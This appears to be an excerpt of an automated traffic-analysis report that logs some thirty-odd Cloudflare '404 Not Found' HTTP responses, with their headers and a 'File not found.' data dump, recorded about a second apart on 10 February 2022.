Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Feb 2022 09:22:46 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=qIeTn8QUGJ4PzoL3khYwIjL17%2BBJiTqpZBu%2Bn6l1sSUiSmu%2FH0zc5lyfpLKOHy9tsuu9Y%2F%2BH47s3hpg5DfFC4zroN87eErlds3zDKfV6u79W6o1WqB%2F6UGbnxHqWFQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6db446621d638fc5-FRAData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Feb 2022 09:22:47 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=6LETH6p%2BXICZC%2BrIHSRQApAEV%2Bdr0iLIW7rBeA%2Fr7Hi4%2Fpf1OlVs9AUjZdSrzw3XtXmW7vu3g0lnMlRgI0IK52z10KSNGVwmWG%2FAp9wtB9EgWL0CS5tO1Mwb6FiG8A%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6db446686e9b6945-FRAData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Feb 2022 09:22:48 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=M4V5E6ygM8Zq2gQc6SjFi%2FduljsFbImOHJ2nmf7IuPxW2RhXkT%2B0BhOAD5WjYjJ5QxUVoGAUnhyaY3n4fiulEfle%2F5%2F3JKoNA8quALyniLNaaaxsFzuwruQ92V8j%2BA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6db4466f4f5c92a2-FRAData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Feb 2022 09:22:50 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=sfchENBNL5Aam3jQilD1C%2BA7X%2BWklnynb2xLSVS2hPjR0y3qmNn6hmUtwb8IQB8oZoMl23JHAHV2q0I12pykgsoVoLNPvb6k5VdZyObk9ltGFYeKlP7GBpYhUI6%2BpA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6db44675ef0390ee-FRAData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Feb 2022 09:22:51 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=4Tlu5Y7AoBorQeMU0%2B32D%2BTFyCDvUY1OQkVB8rypJEdhrQ%2Fenzeu1n%2FT9n9uSqWWX9J%2BfmRJVbTKpt0De%2B5ne1ly1J723TtCWodVcJOhHfjabsPPmaz0oqCOHEICNg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6db4467d0fb492c5-FRAData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Feb 2022 09:22:52 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=FqldRdslDF9crV%2Bk4ngGcH%2B5VotqLHwZM1hgM1UlLzVHOK203cYnXP5jYPCyykRHqAUueXlxKMSBzyNAjlM%2Fvqw8Nwi0ss%2FzYQhSE9EUH9wjaK0hKyn3kcN4463E9A%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6db446836b79922b-FRAData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Feb 2022 09:22:53 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=yBS7%2BxqKYn8UXFWYtCxhAQUq3wICMu07YMkjyXgzMiD7WnMo34wuo3JBZQt3f%2FvhAz73H9wPdN018HSvgXnDpUBiOvoVzzkvgWsPGM8s4%2F62axP9o7SVvlxiAsFAoQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6db4468a3cbe8fc8-FRAData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Feb 2022 09:22:54 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=K0AcT1bifDuMhi7ufsGdy3ZWrMEsl7Ml0%2BBsoYKk1Le07SGb1K3vfiYvudRQACEJNwZd7L%2BjjiNvFHdUhY8ZVQ%2FCWgWD2crnmZAbKNk%2BQ47TcQ8b%2FoLYdTuy2B3gQQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6db44690dd409094-FRAData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Feb 2022 09:22:55 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=2b3lnzs0K50M9KlApGlxtS1%2FGBbpcngBLWZrh0QHIPyWMt9R51HhBbpbNzNiN2fgnCx%2F6Ol9cv3FYjGdC9Z4%2Ff%2B7v%2FeKPnRbogo3FCV4owbNiUoY5%2BcPZ%2FGa%2BNALAg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6db446972bed9091-FRAData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Feb 2022 09:22:56 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=lLUedeVgcznC2S%2FUOpbd3fV7v3cGuLCjsT%2FMbiJAVwvVHvZbCBonSZeAGG5JhojOiJyGydHeh3PL5Tp9nmU4EBUX2wVPhLZEEPBr7kenjFn1%2BoSu1sUFZrFUzTyPOw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6db4469d8ada926e-FRAData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Feb 2022 09:22:57 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=pP7Hm%2FZYo7nBNCdlCm%2B6iCgzILR5XUlKf4GwH1GgSKX5qjvCOl3q7%2FhYlNsVlCRNbRgfIjWoULsECCJWVGVm8TwlUOckIQOjjEp9dOME2g%2F3YvZInDvXJ3pNqXehHA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6db446a48a19903d-FRAData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Feb 2022 09:22:58 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2B4Hpj5tBS1W25DrOmF70H9%2B7tI00TcoHrZ2vWxTGczWKIQtBUxqfhFCMGDZXE%2FiPTxLHEXRSNrcwpGvMMbC3NGIUBMWmkmFsI9cJLit7sz%2BX56ge756zUtFrYA%2Fn%2Fg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6db446ab4e2a9049-FRAData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Feb 2022 09:22:59 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=j%2BJFLdnSBYTENDu1tAbRmg3yPPpEafzaD1AIG2OO%2FT%2B%2FQqTuiDGTxzFlf9dnChU0IP%2BEp15Zkavznvg6v0hcTAYsTYetiP8tjAE8TcK4xJqEQeCFqj2PFKCcO8YbOw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6db446b23dcd9241-FRAData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Feb 2022 09:23:00 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=rk9UBUg8rEXXmstTEerwpTwam6ReU4ftvK8vLG6DGGX39NP0Tj8xTjWk5qWPBqpC6tqrpuX%2FZqaa1n1qmYBhnF44n8KZVoyEqklrYO98Ih0UxdfXxgiW0okoqK2%2FCw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6db446b88b306963-FRAData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Feb 2022 09:23:01 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=jtSZVRNhVan7fQu%2B%2BS3YF0dvuQRKfPnhQmljq7WJs%2Fj8JMEfpH8AMemLWNbqYw4tgA6v4NG3xTvYc3Z5%2FpGQb5ljWthkbv4uo%2FhbZQYC96NTyl%2B9dg2FM9CZdOcU%2Bw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6db446bf3ee59235-FRAData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Feb 2022 09:23:02 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Lp2m%2FnL%2FD9YbbOQL75qiqY1QRie4l95Zh1%2F9JFc7ntQcAGF4IIGoKgD%2F4oPRxszoZK9oVvGOpnhqWzAxSgnH3OqLPGrbcPmuYuhePgMIcrCkD3ZE2%2Bku1MZOs6ktMA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6db446c57aff90af-FRAData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Feb 2022 09:23:03 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=VTMZeN6TFXbag2y1OBliS7F8Ve1jWw99EUBWoXAAGITxys1b9P94l43Uq0a%2B%2Fvyd8PfkcQkVRk9vtaYxi3J9PRjAhKWq89oNOgEI8T7X4pa5jNQ6EzOTmt9dPn8AJw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6db446cbfd179273-FRAData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Feb 2022 09:23:04 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=3ixohb6DjBvyEHcF0bBjTjwa28InQY%2BYLPlgexuM%2B84%2F6oOs4V7fazNyzJ4xoT6rgqB9hhVA18VkbtDdbf8imwrd%2Bcpfb9TH%2BBpi1dLQ9%2FLh%2BYjGvjuxWzsCeqqBpA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6db446d23961910a-FRAData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Feb 2022 09:23:06 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=EE%2FH1l4X4mMaNy6pFboc6LUO8GAlkZzav%2FOZJIxi5sLykIm1li2uICH5vhNS6WFsxhSSyzMACuulnYIlnwvZpCsgsM7VNvUGg6SyBgvKaTyfwg7BclNEWkPSWBEWjg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6db446da4ba95c32-FRAData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Feb 2022 09:23:08 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=glNfx46H3%2BbVLTKDrhap51MhlIRkcModymLBNBd7dZ%2Bl67BTPpZNpBIlfD8OgL00wxL3CdtX6qUD2pekmgxeoZGkVArQG2lmbN%2B57FmuOEvY0CiRqZc24nnj2bPcgA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6db446eac805911f-FRAData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Feb 2022 09:23:09 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=YpuHPmOjZQu3BJ71RrU5rE6ZD4gK%2FiddjmVX1894nkleKqaO0ZuA%2FZ4t0Hhr%2FEBANQiy%2F1dOteI5pqxTSy6LKaSwgoWmbo0Tuise9gruTiTrmWfL3ef0CFnSmrOP6A%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6db446f1795e8fd4-FRAData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Feb 2022 09:23:10 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=263d7oWUNYmuRg8qalPaQG1rkbIXer23yE4CCwJl%2BycPuClpFI6FPf1gIeOZyF3Nt4DWuR0XxZA%2FK2Gwfg9%2FRUCXAmdrBxYU%2F%2FgwYdWQXfhfADT4oSnWfcr7aGjXFA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6db446f7fa7290a3-FRAData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Feb 2022 09:23:11 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=rZcJVrDpVn0Jvm1Vx3izcMxx2xxi%2BRY0gOKUM%2BjgWD%2BYJ2bGoZJPCLIhbsX3VLB%2FEbDTmlKbO8MOV5p8OY13hTQVrNs14q81gtqG%2BYeK%2B7ujkKePtZGTix4rgIZT4w%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6db446fe7f4690fe-FRAData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Feb 2022 09:23:12 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=hiz8VTs2nqW2CMp0oz2HdrtKIKW9o%2B7ImEcKl2VS1ifwy0ulNriRcW%2FuIGG1IoL3PiyPTyaWq%2BPUB82nqy1x%2F7uZPeiH7cbbBHoH7NU9xoGBLymRw5hquZwyAOhtcQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6db44705396d911e-FRAData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Feb 2022 09:23:13 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=meN57bW15OrovAiOaftPdPV%2BVu9aNc%2FmGkhf3DxgM8J7CqQPL97QEdbuifiRTAjK93npEn2xIesb%2FN5MC7%2B7xpKWknwpItKd6NXh4KBXOeDXxIfIsEdpLWRlGlrQsw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6db4470c0b639142-FRAData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Feb 2022 09:23:14 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=MLXoax8jkqv8eBPwf%2B%2FHkLStnp33pID1OGlxzxpw8mT%2BDJtVm%2Fko7dCOHPmAgnMB01wvsNPWgM%2BACIJ3McTTt4l4slPJE0ia9l6oA1b3jZBpZmUytzUvT6%2BsM8O8%2Bw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6db447125bf8911f-FRAData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Feb 2022 09:23:16 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=3gZJQzAkWL%2Fu0oyFSXQkAE19rOUvT86ounx%2F2nUfTZE5zhEaRM6VwUQCQNWwfitnmL12%2B1q8KR5pPRKomKLsKvLs0yZmFdrB49ckYXWQAh8%2FP4%2FjzcT6%2BgWMfOI%2Bcg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6db4471a19969048-FRAData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Feb 2022 09:23:17 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=CVWgNT%2F3L1%2BppaTVgVDCxoKwuyVyVDAH6zVKoRJylnyRNyfDC2xX0Vm24lOeOSechfzcA1vgmVZNQs67XBF8JYV4Q8GGFRHDfBe2OCBaYxj7dDGPN3FxV3Y9%2Fs9AEg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6db44721ffb76983-FRAData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Feb 2022 09:23:18 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=JkW3Yfq8929bkmz%2BZxma5WCDFCwlkkeMrZVjES5%2BGp19oTJDA%2FvVeGYB6q0J4yXwf6O8Ujd%2Bm4xURLIdmdWv80xluGmLKk%2BK5CnuxjOzH0TaS2jR2NsT%2BwpcvVu%2BPQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6db4472a7d7c9193-FRAData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Feb 2022 09:23:19 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=jX4p5OL3M4bhKeaGYr6eMZP4ecEb%2BRQKJFJMvHycGUM%2BR1sW8i66slzCERtcv76o3GVZu2AT%2BBb9%2BnWVHSGrEHQ65OlnuuLV3NX69%2BnX0CllH9Ufi1dPL3kXbE9UsQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6db447310d2a918f-FRAData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Feb 2022 09:23:21 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=wCsqQDtUNyAdb8N7QE5gpRV6yQp9OM5kLzcDr7AlwMrEbZXvVwvalAee7gk3yYD6lCHsuYIHi9jPPTnfADT3Vv66t86Ej5Rk3p%2BU8OrA6dwgCuh8u7DexDMJSkMrXQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6db447381a755be1-FRAData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Feb 2022 09:23:22 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=SRqidrs3tVmZaXWczrmKsgbZ4wzW0DNHNg57GTGmubIkUghb%2BRZ87SXRzbz4C2tAAPiS7VjMUqurezvKjUarwJZfb4vQq5PhgZ3zf0wd8HEEhwN0s6BL9vHZrcRCQA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6db4473f0b3b9208-FRAData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Feb 2022 09:23:23 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=wh%2FHtCJ%2F5r2bJkgiHao050klrqU1roeJfG%2B4i6f3I%2FKeYPkYarG1akcmrjP1MjieW7NO3IUngd6ffdEn3ApGf%2BloKJJBXuiDKbgTzbof4laU14sUbhPRo%2BZeW2t2Fg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6db44745a96792b9-FRAData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
